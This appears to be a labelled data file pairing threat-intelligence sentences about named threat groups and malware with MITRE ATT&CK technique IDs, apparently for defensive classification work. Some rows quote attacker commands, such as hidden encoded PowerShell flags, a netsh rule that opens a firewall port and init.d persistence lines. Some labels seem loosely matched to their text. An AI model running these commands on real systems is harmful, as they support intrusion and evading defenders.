MuddyWater has leveraged ClickFix type tactics enticing victims to copy and paste malicious PowerShell code.,T1204.004
"MuddyWater has leveraged RMM solutions including ScreenConnect, AteraAgent, SimpleHelp, Action1, Level, and PDQ to facilitate follow-on actions within compromised hosts to include data exfiltration.",T1219.002
MuddyWater has sent phishing emails to targets from the email address support@microsoftonlines.com.,T1566
MuddyWater has used cmd.exe net user /domain to enumerate domain users.,T1087.002
"MuddyWater has used NordVPN to proxy phishing emails, making them appear to originate from France.",T1090
MuddyWater has used compromised mailboxes within target organizations to send spearphishing emails.,T1534
"MuddyWater has used file sharing services including OneHub, Sync, and TeraBox to distribute tools.",T1583.006
"MuddyWater has used publicly available malware for operations, likely to blend in with other cybercriminals.",T1588.001
"MuddyWater has used support@microsoftonlines.com to send phishing emails that masqueraded as security updates from Microsoft. MuddyWater has also impersonated TMCell (Altyn Asyr CJSC), the primary mobile operator in Turkmenistan, sending phishing emails with the email domain info@tmcell.",T1684.001
MuddyWater maintains persistence on victim networks through side-loading dlls to trick legitimate programs into running malware.,T1574.001
Mustang Panda has acquired C2 domains prior to operations.,T1583.001
"Mustang Panda has created a scheduled task to execute additional malicious software, as well as maintain persistence. Mustang Panda has also created a scheduled task that creates a reverse shell.",T1053.005
Mustang Panda has deleted registry keys that store data and maintained persistence.,T1070
"Mustang Panda has executed HTA files via cmd.exe, and used batch scripts for collection. Mustang Panda has also utilized cmd.exe to execute commands on an infected host such as `cmd.exe /c ping.exe 8.8.8.8 -n 70&&""%temp%\FontEDL.exe""`.",T1059.003
Mustang Panda has gathered system information using systeminfo.,T1082
Mustang Panda has leveraged AdFind to enumerate domain groups.,T1069.002
"Mustang Panda has leveraged obfuscated Windows API function calls that were concealed as unique names, or hashes of the Windows API.",T1027.007
Mustang Panda has used open-source research to identify information about victims to use in targeting to include creating weaponized phishing lures and attachments.,T1593
Mustang Panda has used spearphishing attachments to deliver initial access payloads. Mustang Panda has also delivered archive files such as RAR and ZIP files containing legitimate EXEs and malicious DLLs.,T1566.001
Mustang Panda has used valid legitimate digital signatures and certificates to evade detection.,T1553.002
Mustang Panda has utilized LNK files to hide malicious scripts for execution. Mustang Panda has also leveraged LNK files that were programmed to display a PDF icon to entice the victim to click on the file to execute an office.exe binary.,T1027.012
"Mustard Tempest has used the filename `AutoUpdater.js` to mimic legitimate update files and has also used the Cyrillic homoglyph characters С `(0xd0a1)` and а `(0xd0b0)`, to produce the filename `Сhrome.Updаte.zip`.",T1036.005
Mustard Tempest operates a global network of compromised websites that redirect into a traffic distribution system (TDS) to select victims for a fake browser update page.,T1584.001
Naikon renamed a malicious service taskmgr to appear to be a legitimate version of Task Manager.,T1036.004
Naikon uses commands such as netsh advfirewall firewall to discover local firewall settings.,T1518.001
Naikon uses commands such as netsh interface show to discover network interface settings.,T1016
OilRig has compromised email accounts to send phishing emails.,T1586.002
OilRig has exploited CVE-2024-30088 to run arbitrary code in the context of `SYSTEM`.,T1203
"OilRig has exploited the Windows Kernel Elevation of Privilege vulnerability, CVE-2024-30088.",T1068
OilRig has hosted malware on fake websites designed to target specific audiences.,T1608.001
OilRig has leveraged compromised organizations to conduct supply chain attacks on government entities.,T1195
OilRig has made use of the publicly available tools including Plink and Mimikatz.,T1588.002
OilRig has registered a password filter DLL in order to drop malware.,T1556.002
OilRig has used netstat -an on a victim to get a listing of network connections.,T1049
OilRig has used DNS for C2 including the publicly available requestbin.net tunneling service.,T1071.004
OilRig has used VBScript macros for execution on compromised hosts.,T1059.005
"Patchwork collected the victim computer name, OS version, and architecture type and sent the information to its C2 server.",T1082
Patchwork dumped the login data database from \AppData\Local\Google\Chrome\User Data\Default\Login Data.,T1555.003
Play demands ransom payments from victims to unencrypt filesystems and to not publish sensitive data exfiltrated from victim networks.,T1657
Play has used Base64-encoded PowerShell scripts for post exploit activities on compromised hosts.,T1027.010
Play has used WinSCP to exfiltrate data to actor-controlled accounts.,T1048
"Play has used tools including GMER, IOBit, and PowerTool to disable antivirus software.",T1685
Play has used valid local accounts to gain initial access.,T1078.003
"Prior to executing a backdoor ToddyCat has run `cmd /c start /b netsh advfirewall firewall add rule name=""SGAccessInboundRule"" dir=in protocol=udp action=allow localport=49683` to allow the targeted system to receive UDP packets on port 49683.",T1686
"RedCurl added the ""hidden"" file attribute to original files, manipulating victims to click on malicious LNK files.",T1564.001
RedCurl has collected information about email accounts.,T1087.003
RedCurl has used HTTPS for C2 communication.,T1573.002
RedCurl prompts the user for credentials through a Microsoft Outlook pop-up.,T1056.002
"Rocke downloaded a file ""libprocesshider"", which could hide files on the target system.",T1564.001
"Rocke has installed an ""init.d"" startup script to maintain persistence.",T1037
Rocke used scripts which killed processes and added firewall rules to block traffic related to other cryptominers.,T1686
"Rocke's miner, ""TermsHost.exe"", evaded defenses by injecting itself into Windows processes, including Notepad.exe.",T1055.002
Saint Bear has impersonated government and related entities in both phishing activity and developing web sites with malicious links that mimic legitimate resources.,T1684.001
Saint Bear has leveraged the Discord content delivery network to host malicious content for retrieval during initial access operations.,T1583.006
Saint Bear has leveraged vulnerabilities in client applications such as CVE-2017-11882 in Microsoft Office to enable code execution in victim environments.,T1203
Saint Bear will leverage malicious Windows batch scripts to modify registry values associated with Windows Defender functionality.,T1112
Saint Bear will modify registry entries and scheduled task objects associated with Windows Defender to disable its functionality.,T1685
"Sandworm Team exploits public-facing applications for initial access and to acquire infrastructure, such as exploitation of the EXIM mail transfer agent in Linux systems.",T1190
Sandworm Team has used Prestige ransomware to encrypt data at targeted organizations in transportation and related logistics industries in Ukraine and Poland.,T1486
Sandworm Team uses Prestige to disable and restore file system redirection by using the following functions: `Wow64DisableWow64FsRedirection()` and `Wow64RevertWow64FsRedirection()`.,T1106
Scattered Spider abused AWS Systems Manager Inventory to identify targets on the compromised network prior to lateral movement.,T1538
"Scattered Spider has obtained tools for use throughout the attack lifecycle to include remote access software, protocol tunneling and proxy tools, exploitation frameworks, and reconnaissance tools.",T1588.002
Scattered Spider has used BlackCat and DragonForce ransomware to encrypt files including on VMWare ESXi servers.,T1486
Scattered Spider has used compromised credentials for initial access.,T1078
Scattered Spider has used proxy networks to hamper detection and has installed legitimate proxy tools on VMware vCenter and adversary-controlled VMs.,T1090
Scattered Spider has used the command shell to upload and install the Teleport remote access tool to a compromised vCenter Server Appliance.,T1059.004
Sea Turtle modified DNS records at service providers to redirect traffic from legitimate resources to Sea Turtle-controlled servers to enable adversary-in-the-middle attacks for credential capture.,T1557
Sea Turtle modified Name Server (NS) items to refer to Sea Turtle-controlled DNS servers to provide responses for all DNS lookups.,T1584.002
Sea Turtle registered domains for authoritative name servers used in DNS hijacking activity and for command and control servers.,T1583.001
Sea Turtle staged collected email archives in the public web directory of a website that was accessible from the internet.,T1074.002
Sea Turtle used spear phishing to gain initial access to victims.,T1566
"Silence has used HKCU\Software\Microsoft\Windows\CurrentVersion\Run, HKLM\Software\Microsoft\Windows\CurrentVersion\Run, and the Startup folder to establish persistence.",T1547.001
"Star Blizzard has abused email forwarding rules to monitor the activities of a victim, steal information, and maintain persistent access after compromised credentials are reset.",T1114.003
Star Blizzard has bypassed multi-factor authentication on victim email accounts by using session cookies stolen using EvilGinx.,T1550.004
Star Blizzard has established fraudulent profiles on professional networking sites to conduct reconnaissance.,T1585.001
Star Blizzard has identified ways to engage targets by researching potential victims' interests and social or professional contacts.,T1589
Star Blizzard has incorporated the open-source EvilGinx framework into their spearphishing activity.,T1588.002
Star Blizzard has sent emails with malicious .pdf files to spread malware.,T1566.001
Star Blizzard has uploaded malicious payloads to cloud storage sites.,T1608.001
Storm-0501 has discovered running processes through `tasklist.exe`.,T1057
Storm-0501 has elevated their access to Azure resources using `Microsoft.Authorization/elevateAccess/action` and `Microsoft.Authorization/roleAssignments/write` operations to gain User Access Administrator and Owner Azure roles over the victims' Azure subscriptions.,T1098.003
Storm-0501 has used the SecretsDump module within Impacket can perform credential dumping to obtain account and password information.,T1003
Storm-0501 has utilized DCSync to extract credentials from victims.,T1003.006
"Storm-0501 has utilized their own self-signed TLS certificate ""Microsoft IT TLS CA 5"" with their infrastructure.",T1587.003
Storm-1811 XOR encodes a Cobalt Strike installation payload in a DLL file that is decoded with a hardcoded key when called by a legitimate 7zip installation process.,T1027.013
"Storm-1811 has abused multiple types of legitimate remote access software and tools, such as ScreenConnect, NetSupport Manager, and AnyDesk.",T1219.002
Storm-1811 has attempted to move laterally in victim environments via SMB using Impacket.,T1021.002
Storm-1811 has created Windows Registry Run keys that execute various batch scripts to establish persistence on victim devices.,T1547.001
Storm-1811 has performed domain account enumeration during intrusions.,T1087.002
Storm-1811 has used Microsoft Teams to send messages and initiate voice calls to victims posing as IT support personnel.,T1566.003
TA2541 has attempted to disable built-in security protections such as Windows AMSI.,T1685
TA2541 has used `mshta` to execute scripts including VBS.,T1218.005
TA2541 has used malicious links to cloud and web services to gain execution on victim machines.,T1204.001
TA2541 has used malicious scripts and macros with the ability to download additional payloads.,T1105
TA505 has used TinyMet to enumerate members of privileged groups. TA505 has also run net group /domain.,T1069
TA505 has used base64 encoded PowerShell commands.,T1027.010
"TA578 has placed malicious links in contact forms on victim sites, often spoofing a copyright complaint, to redirect users to malicious file downloads.",T1204.001
TeamTNT has cleared command history with history -c.,T1070.003
TeamTNT has established persistence through the creation of a cryptocurrency mining system service using systemctl.,T1543.002
TeamTNT has leveraged AWS CLI to enumerate cloud environments with compromised credentials.,T1059.009
"TeamTNT has searched for system version, architecture, and hostname information.",T1082
"Threat Group-3390 has obtained stolen valid certificates, including from VMProtect and the Chinese instant messaging application Youdu, for their operations.",T1588.003
Threat Group-3390 has used the net view command.,T1018
ToddyCat has used WMI to execute scripts for post exploit document collection.,T1047
ToddyCat has used `netstat -anop tcp` to discover TCP connections to compromised hosts.,T1049
ToddyCat has used a DropBox uploader to exfiltrate stolen files.,T1567.002
Tropic Trooper used netview to scan target systems for shared resources.,T1135
Tropic Trooper used pr and an openly available tool to scan for open ports on target systems.,T1046
Turla established persistence by adding a Shell value under the Registry key HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon.,T1547.004
UNC3886 has XOR encrypted and Gzip compressed captured credentials.,T1560.003
UNC3886 has executed Windows commands on guest virtual machines through `vmtoolsd.exe`.,T1059.003
UNC3886 has staged captured credentials in `var/log/ldapd.2.gz`.,T1074.001
UNC3886 has used Python scripts to enumerate ESXi hosts and guest VMs.,T1059.006
UNC3886 has used installation scripts to collect the system time on targeted ESXi hosts.,T1124
UNC3886 has used rundll32.exe to execute MiniDump for dumping LSASS process memory.,T1218.011
UNC3886 has used scripts to enumerate ESXi hypervisors and their guest VMs.,T1673
UNC3886 has used the publicly available rootkits REPTILE and MEDUSA.,T1588.001
UNC3886 has used zero-day vulnerabilities CVE-2022-41328 against FortiOS and CVE-2023-20867 and CVE-2023-34048 against VMware vCenter.,T1587.004
UNC3886 modified the startup file `/etc/init.d/localnet` to execute the line `nohup /bin/support &` so the script would run when the system was rebooted.,T1564.011
"VOID MANTICORE has abused built-in remote wipe or factory reset commands to wipe devices managed within an organization's Cloud management solution impacting laptops, servers, and mobile devices.",T1651
VOID MANTICORE has leveraged backend servers within Iran.,T1583.004
"VOID MANTICORE has targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access.",T1199
VOID MANTICORE has utilized ADRecon to enumerate the active directory environment.,T1087.002
VOID MANTICORE has utilized PowerShell scripts that run without notifying the user of its execution to include `-nop -w hidden- ep bypass -enc`.,T1564.003
VOID MANTICORE has utilized credential stuffing attacks to obtain initial access to victim environments.,T1110.004
VOID MANTICORE has utilized custom-malware and wipers to include BiBi Wiper.,T1587.001
Velvet Ant initial execution included launching multiple `svchost` processes and injecting code into them.,T1055
Volt Typhoon has accessed a Local State file that contains the AES key used to encrypt passwords stored in the Chrome browser.,T1552.004
Volt Typhoon has executed the Windows-native `vssadmin` command to create volume shadow copies.,T1006
Volt Typhoon has gained initial access by exploiting privilege escalation vulnerabilities in the operating system or network services.,T1068
"Volt Typhoon has queried the Registry on compromised systems, `reg query hklm\software\`, for information on installed software including PuTTY.",T1012
Volt Typhoon has staged collected data in password-protected archives.,T1074
"Volt Typhoon has stolen files from a sensitive file server and the Active Directory database from targeted environments, and used Wevtutil to extract event log information.",T1005
Volt Typhoon has used a version of the Awen web shell that employed AES encryption and decryption for C2 communications.,T1573.001
Volt Typhoon has used compromised Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support operations.,T1584.005
Volt Typhoon has used ntds.util to create domain controller installation media containing usernames and password hashes.,T1003.003
WIRTE has collected documents from victims' email accounts.,T1114.001
WIRTE has configured C2 servers to check location and user-agent strings for victim endpoints to prevent sending a payload to sandboxed environments.,T1497.001
WIRTE has sent targeted spearphishing emails with malicious links directing victims to malware downloads.,T1566.002
"WIRTE has used compromised emails, including one belonging to an Israel-based technology reseller, to deliver targeted spearphishing messages.",T1586.002
Winter Vivern created specially-crafted documents mimicking legitimate government or similar documents during phishing campaigns.,T1036
Winter Vivern distributed Windows batch scripts disguised as virus scanners to prompt download of malicious payloads using built-in system tools.,T1059.003
Winter Vivern executed PowerShell scripts to create scheduled tasks to retrieve remotely-hosted payloads.,T1105
"Winter Vivern has exploited known and zero-day vulnerabilities in software usch as Roundcube Webmail servers and the ""Follina"" vulnerability.",T1190
Winter Vivern passed execution from document macros to PowerShell scripts during initial access operations. Winter Vivern used batch scripts that called PowerShell commands as part of initial access and installation operations.,T1059.001
Winter Vivern used adversary-owned and -controlled servers to host web vulnerability scanning applications.,T1583.003
Winter Vivern uses HTTP and HTTPS protocols for exfiltration and command and control activity.,T1071.001
Wizard Spider has archived data into ZIP files on compromised machines.,T1560.001
Wizard Spider has exfiltrated stolen victim data to various cloud storage providers.,T1567.002
Wizard Spider has used `cmd.exe` to execute commands on a victim's machine.,T1059.003
"ZIRCONIUM has utilized an ORB (operational relay box) network - consisting compromised devices such as small office and home office (SOHO) routers, IoT devices, and leased virtual private servers (VPS) - to proxy traffic.",T1090.003
admin@338 actors used the following command after exploiting a machine with LOWBALL malware to acquire information about local networks: ipconfig /all >> %temp%\download,T1016
admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about the OS: ver >> %temp%\download systeminfo >> %temp%\download,T1082
menuPass has collected data from remote systems by mounting network shares with net use and using Robocopy to transfer data.,T1039
menuPass has used certutil in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used certutil -decode to decode files on the victim's machine when dropping UPPERCUT.,T1140
"The spear phishing emails contained three attachments in total, each of which exploited an older vulnerability in Microsoft Office (CVE-2012-0158",T1203
"After the handshake has been completed, the backdoor waits for a command, periodically pinging the C2 server. The response body from the C2 ping might hold the command and parameters (optionally). The updated Bisonal backdoor version maintains functionality similar to past backdoors built from the same codebase",T1082
"Our dynamic analysis showed Lokibot's behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. TLP: WHITE is an information stealer; the main functionality of its binary is to collect system and application credentials, and user information to send back to the attacker. We then conducted a static analysis to examine Lokibot's techniques and targets. The response for this request is a customized 404 page, which can also be detected using Suricata signatures provided on the Malpedia page cited above as well. We also noticed that the value of the sub key is the path to the file that Lokibot created after its initial execution. The name of that registry key was the C2 URL.Figure 1 TLP: WHITE compiler timestamp from the file header section was Oct 31, 2018, which is likely the date that the binary of this sample was compiled. This is a strong indication that the binary is a .NET library, because mscoree.dll and _CoreExeMain are primarily used to load .NET binaries. We determined that the binary was packed because we did not see the C2 URL or any signs of being an information stealer (such as an applications list) in the binary strings and resources. Figure 9Hollow Process; Manually Unpacking the First Stage BinaryWe tried to follow the binary with a debugger to determine where it unpacked itself in the memory, but Lokibot used a hollow process technique to obscure some of this activity",T1071.001
"The malware decrypts the C&C server domain and tries to connect to it. After the server accepts the connection, it sends a packet with the message ID = 0 and an empty payload to the client. In return, the malware collects information about the infiltrated computer and sends it back to the server in a response packet. This packet contains the following data",T1041
"SPEAR found that El Machete relied on two primary means to achieve persistence: scheduled tasks and the startup folder. Scheduled tasks commonly used 'HD_Audio', 'Java_Upda', or 'Microsoft_up' as the task name and generally pointed to one of the executables below",T1204.002
"Kimsuky is known for their complex infrastructure that uses free-registered domains, compromised domains, as well as private domains registered by the group",T1583.001
"The following file paths can be used to detect Tiny web shell, ChunkyTuna web shell, or Chisel if a network has been compromised by this attacker exploiting CVE-2019-19781",T1083 | T1505.003
"Next, remove the attacker's certificate that was added to the system, using the Keychain Access application (certificate name: COMODO RSA Extended Validation Secure Server CA 2). Finally remove tor and socat via HomeBrew (i.e. brew rm FORMULA). If didn't have HomeBrew already installed - meaning the malware installed it, that can be removed as well. Honestly, if infected with OSX/Dok it's suggested you just fully re-install macOS",T1090.003 | T1553.004
"FALLCHILL uses fake Transport Layer Security (TLS) communications, encoding the data with RC4 encryption with the following key: [0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82]. FALLCHILL collects basic system information and beacons the following to the C2",T1573.001 | T1082 | T1001.003
"The module attempts to check if the extracted data is related to Microsoft Office or MS.Outlook. Autodiscover.xml"" is a dynamically generated file that contains the data Microsoft Outlook needs to access the mailbox entered in the configuration wizard. The primary purpose of the Exchange Autodiscover service is to establish initial connections to Exchange user mailboxes. It then attempts to collect the AutoDiscover SMTP address of the dedicated exchange forest, and eventually puts all the extracted data in a variable called ""text",T1059.007
"DarkWatchman runs through a standard set of operations on startup, and then continues to loop through a smaller group of functions on a regular basis to feed information back to the C2 server and get new commands. When initially executed by the scheduled task, DarkWatchman checks the registry for an autostart JavaScript snippet and if one exists evaluates it",T1124 | T1120
"First observed by Microsoft on Jan. 13, 2022, WhisperGate malware is computer network attack (CNA) malware aimed at deleting Microsoft Windows Defender and corrupting files on the target. It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload. The in-memory code uses Living Off the Land Binaries (LOLBINs) to evade detection and also performs anti-analysis techniques, as it will fail to detonate when certain monitoring tools exist. At the time of writing, there are two known samples identified as WhisperGate: Stage1.exe and Stage2.exe. Stage1.exe purports to be ransomware, as it overwrites the target's master boot record with 512 bytes and upon reboot displays the following ransom note",T1518.001
This program allows you to execute applications on remote systems without installing any client software. You can start a command prompt or just execute a command or exe on a remote machine,T1569.002
"Armed with boundless ambition and abundant resources, they looked over their options and picked... Cobalt Strike. Possibly it was meant to make attribution harder, and we can't rule out the use of higher-tier payloads for higher-tier targets",T1140
The second stage payload is shellcode that is embedded as a base64 encoded string array inside the macro that is decoded by using CryptStringToBinaryW (fig. 5). Other variants have used the UuidFromStringA function to decode the embedded payload and write it to an executable Heap,T1059.005
"At this point, the script establishes an HTTP connection to the C2 server. If instead the server responds with any data other than the GUID, the second-stage script decrypts the data and saves it as a file. In both variants of the second-stage script, the payload is a DLL with a .SYS extension and saved in the %windir%\system32\drivers folder",T1140
"Collect file/folder/drive information - Download files and additional malware - Launch/terminate/enumerate process - Update configuration data - Delete files - Inject code from files to other running process - Utilize proxy - Open reverse shell - Run in passive mode - instead of actively connecting to the command and control (C&C) server, the backdoor will open and listen to a port then receive commands through it",T1059.003 | T1055
"CookieMiner adopts techniques from the Google Chromium project's code for its decryption and extraction operations and abuses them. Google Chromium is an open-source version of the Google Chrome browser. By abusing these techniques, CookieMiner attempts to steal credit card information from major issuers, such as Visa, Mastercard, American Express, and Discover (Figure 3). The user's saved login credentials are also stolen, including usernames, passwords, and the corresponding web URLs (Figure 4",T1140
"Since September of 2018, Redaman banking malware has been distributed through malspam. In this campaign, the Russian language malspam is addressed to Russian email recipients, often with email addresses ending in .ru. These emails have file attachments. These file attachments are archived Windows executable files disguised as a PDF document. In September 2018, the attachments were zip archives. In October 2018, the attachments were zip archives, 7-zip archives, and rar archives. In November 2018, the attachments were rar archives. And in December 2018, the attachments changed to gzip archives with file names ending in .gz",T1204.002
"The code randomly selects the filename of an executable or DLL file located in C:\Windows\system32. It will then query its resources and extract the FileDescription field to use as a folder name. If this does not work, the code randomly chooses a folder name from the %ProgramFiles% or C:\Windows (from GetWindowsDirectoryW) directories. It avoids using a name that may clash with existing files by making sure it does not contain: windows, Microsoft, desktop, system, system32 or syswow64",T1569.002
"Just to highlight its capabilities, TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue. It can also request to steal a particular file from a previously seen USB stick; next time the USB is connected to the computer, the file will be stolen",T1115 | T1020
"The primary payload distributed by Blue Mockingbird is a version of XMRIG packaged as a DLL. XMRIG is a popular, open-source Monero-mining tool that adversaries can easily compile into custom tooling. During the incidents, we noted three distinct uses",T1588.002 | T1218.010 | T1218.011
"If the malware identifies a file named ""mreb.xml"" or a folder named ""mreboot"", it loads a malicious ""ssleay64.dll"", also written in Delphi, compiled by Borland Delphi, which has the following characteristics",T1057
The latest variant of the Zeroaccess Trojan-Trojan.Zeroaccess.C-makes use of a novel technique to store its malicious content: it exploits a feature provided by the NT File System called Extended Attributes (EA,T1564.004
"Since its arrival, there have been several variants of the Conficker worm. They can all be referred to as the Conficker family of malware. These variants have improved upon Conficker's code and have been released in response to attempts to stop or remove Conficker's infestation. It should also be noted that Conficker.D does not spread by attacking new systems and just updates existing Conficker.C infected machines. See Appendix B, which contains a listing of links to Microsoft's Security Portal Threat Encyclopedia, for a full discussion of the variants of Conficker",T1021.002
"28 Apr 2020 - 11:30AM . Another in our occasional series demystifying Latin American banking trojans . In this installment of our series, we introduce Grandoreiro, a Latin American banking trojan targeting Brazil, Mexico, Spain and Peru. The authors of Grandoreiro seem to be developing the banking trojan very rapidly, as we observe at least several new versions each month. The spam emails appear to contain a link pointing to a website offering fake Flash or Java updates (see Figure 5). Notice the red arrow in lower left corner tailored for the Google Chrome web browser, but displayed in other browsers too. The images shown in Figure 10 come from three different builds of Grandoreiro. Self-protection & anti-emulation . For a Latin American banking trojan, Grandoreiro utilizes a surprisingly large number of tricks to evade detection and emulation. Diebold Warsaw GAS Tecnologia and Trusteer are known banking access protection software popular in Latin America. Simple BAT script used by Grandoreiro to change Trusteer file path in hopes of making it unable to execute . Besides that, it also monitors hooks on important functions. List of configuration files used by Grandoreiro's spam tool . As you can see, the tool is not fully automated, but relies completely on the configuration data. Its implementation shows similarities with the Grandoreiro banking trojan, which is why we believe it was written by the same authors. Indicators of Compromise (IoCs) . Hashes . Grandoreiro banking trojan . Grandoreiro Win32 downloaders . Grandoreiro spam tool . Windows Registry . - HKCU\Software\%USER_NAME% - HKCU\Software\ToolTech-RM User-Agent . - h55u4u4u5uii5 Filenames . - - MDL_YEL_01.dll - MDL_BLU_BR_02.dll - MDL_SIC_BR_03.dll - MDL_SANT_BR_04.dll - MDL_ITA_BR_05.dll - MDL_BRADA_BR_06.dll - MDL_SICCB_BR_07.dll - MDL_SAFRA_BR_08.dll - MDL_ORIGI_BR_09.dll - MDL_NORDES_BR_10.dll - MDL_BANEST_BR_11.dll - MDL_BANEZE_BR_12.dll - MDL_AMAZON_BR_13.dll - MDL_UNICRE_BR_14.dll - MDL_BRB_BR_15.dll - MDL_WUPDATE_BR_001.dll %INSTALL_DIR% is the path where Grandoreiro is installed . MITRE ATT&CK techniques . Further reading . 28 Apr 2020 - 11:30AM . Sign up to receive an email update whenever a new article is published in our Ukraine Crisis - Digital Security Resource Center . Newsletter . Similar Articles . How Emotet is changing tactics in response to Microsoft's tightening of Office macro security . ESET Research . Watering hole deploys new macOS malware, DazzleSpy, in Asia . Virus Bulletin: Old malware never dies - it just gets more targeted . Anatomy of native IIS malware . Discussion . - Home - About Us - Contact Us - Sitemap - Our Experts - ESET - Research - How To - Categories - RSS Configurator - News Widget",T1185
"Generate a particularly timed beacon that communicates over HTTP - Drop the command line Chinese language version of winrar on the target - Replace sticky keys with cmd.exe for persistence and access via RDP - Turn on RDP if it's not already enabled - Index and archive all office documents, compress and encrypt them with RAR and a specific password and store them in the recycle bin - Enable the support_388945a0 account and add it to the local admin group - Exfiltrate the data encoded over port 443 (but not SSL) - Setup an insecure service for persistence / privilege escalation",T1098
A recent lull in the distribution of spam linking to the malicious downloader Hancitor has been snapped as researchers warn of new campaigns,T1204.001 | T1027
"Its third function related to RDP uses the CredEnumerateA API to identify and steal saved credentials. It then parses the string ""target=TERMSRV"" to identify the hostname, username, and password saved per RDP credential",T1056.004
"The devices used in the DarkVishnya attacks varied in accordance with the cybercriminals' abilities and personal preferences. In the cases we researched, it was one of three tools",T1588.002
"C2 commands are represented as seemingly random alphanumerical ASCII strings (e.g. KbwUQrcooAntqNMddu4XRj"") that are unique to each implant but known to the C2 server. These dynamic updates to Goldmax configuration data enable ability to set a new activation date, replace the existing C2 URL and User-Agent values, enable/disable decoy network traffic feature, and update the number range used by its PRNG",T1041
"To ensure the file has been successfully uploaded to Dropbox, BoomBox utilizes a set of regular expression values to check the HTTP response from Dropbox. As shown below, the regular expressions are used to check the presence of the is_downloadable, path_lower, content_hash, and size fields (not their values) in the HTTP response received from Dropbox. Notably, BoomBox disregards the outcome of this check and proceeds, even if the upload operation is unsuccessful",T1480
"Earlier, we mentioned that previous attacks were apparently delivered over two spear phishing emails, with the first only being used for reconnaissance. In the latest cases we only observed a single document being sent to the targets, with reconnaissance, exploitation, and payload delivery happening on the first attempt",T1566.001
"On one hand, Egregor has a similar strategy to other ransomwares, as it exfiltrates data, encrypts files and publishes them on its website in order to make victims pay the ransom. It is active since the beginning of September 2020 and impacts many sectors from insurance to transport. Its goal is lucrative",T1105
"Command execution: The execution is performed by the ShellExecuteW() API - Listing the running processes - Cleaning the malware: The malware first removes the registry key of the service and removes the library. As the library is currently running, the deletion cannot be performed immediately",T1057 | T1112
"The APT-C-43 organization is good at launching attacks using phishing emails, and deploys the backdoor program Pyark (Machete) written in python after invading the victim's machine",T1059.006 | T1059.006
"The malware is distributed via social engineering techniques, which includes spear-phishing emails and infections via Web by a fake Blog website",T1189
"""From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. If the exploit is successful, the threat actors will attempt to drop and execute QuasarRAT. Within each of the HTML-formatted messages, an embedded image tag is used to beacon home to the attacker's domain, containing an unique identifier specific to the recipient. While the use of e-mail recipient tracking, a linked RTF document, and a final payload (QuasarRAT variant) remained the same, certain elements differed across campaigns observed. Exploitation and Malware Execution . Upon opening the above attachments, the recipient will be presented with a document that is a direct copy of a blog post or report released by the think tank organization being impersonated. Its called the """"packager trick"""" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious """"scriptlet"""" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial """"qrat.exe"""" dropper from the current user's %tmp% directory. Conclusion . The addition of US-based think tanks to the list of organizations in the crosshairs of Patchwork shows an increasing diversity in the geographic regions being targeted""",T1566.001
"The PowerShell script executes a compressed first stage PowerShell child process, which then performs a second stage PowerShell process. The latter PowerShell injects a shellcode into its own process using well-known CreateThread and VirtualAlloc techniques",T1059.001
"Emotet gets an initial foothold on a victim machine or network by sending an email containing either a malicious link that leads to a downloader document or that has a malicious document attached. Anti-analysis tactics have been present in Emotet since at least 2015 and, in 2018, Emotet's payload consists of a packed file containing the main component and an anti-analysis module. Either PowerShell or JavaScript is used to download the Trojan, which delivers a packed payload file to the victim machine. Once on a machine, the latest version of Emotet",T1059.005 | T1547.001 | T1566.002 | T1566.001 | T1059.001
"Being able to gather these configuration files allowed us to map the network infrastructure of Trickbot. The main module uses its list of hardcoded C&C servers and connects to one of them to download a second list of C&C servers, the so-called psrv list. The main module contacts this second layer of C&C servers to download the default plugins specified in the hardcoded configuration file. Other modules can be downloaded later upon receiving a command to do so from the Trickbot operators. The most prevalent of them are so-called dpost servers, used to exfiltrate stolen data such as credentials but, as detailed in the Appendix, others exist. Figure 5 illustrates this initial communication process",T1057
The driver was not signed and used the same DSE exploit that the Pandora backdoor uses for it to load,T1105 | T1068 | T1553.006
"The malware installs itself via crontab (list of commands that are run on a regular schedule) to its target machine, as shown below",T1053.003
"TClient is actually one of Tropic Trooper's other backdoors. The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016, for instance. TClient uses symmetric encryption to decrypt its configuration with one 16-byte key in 2018. The image and table below illustrate TClient's encrypted configuration that we decrypted (via Python code",T1027
"In 2018, CTU researchers observed several GOLD KINGSWOOD campaigns involving SpicyOmelette, a tool used by the group during initial exploitation of an organization. GOLD KINGSWOOD delivered SpicyOmelette through a phishing email containing a shortened link that appeared to be a PDF document attachment. When clicked, the link used the Google AppEngine to redirect the system to a GOLD KINGSWOOD-controlled Amazon Web Services (AWS) URL that installed a signed JavaScript file, which was SpicyOmelette",T1105 | T1204.001
"Although the C2 traffic is secured by SSL/TLS, Karagany also encrypts and encodes the packet payloads before transmission to its C2 server using the AES-128-CBC algorithm and a pseudo-randomly generated initialization vector (IV) (see Figure 3",T1573.002
"This script then downloads and executes another encoded .vbs script from a paste.ee URL, as seen in Figure 5. Paste.ee is a less regulated alternative to Pastebin and we have seen multiple attacks using this service to host the payload. Since the website uses TLS, most firewall solutions cannot detect the malicious content being downloaded over the network",T1102
"Sliver is designed to be an open source alternative to Cobalt Strike. Sliver supports asymmetrically encrypted C2 over DNS, HTTP, HTTPS, and Mutual TLS using per-binary X.509 certificates signed by a per-instance certificate authority and supports multiplayer mode for collaboration",T1071.001 | T1071.004
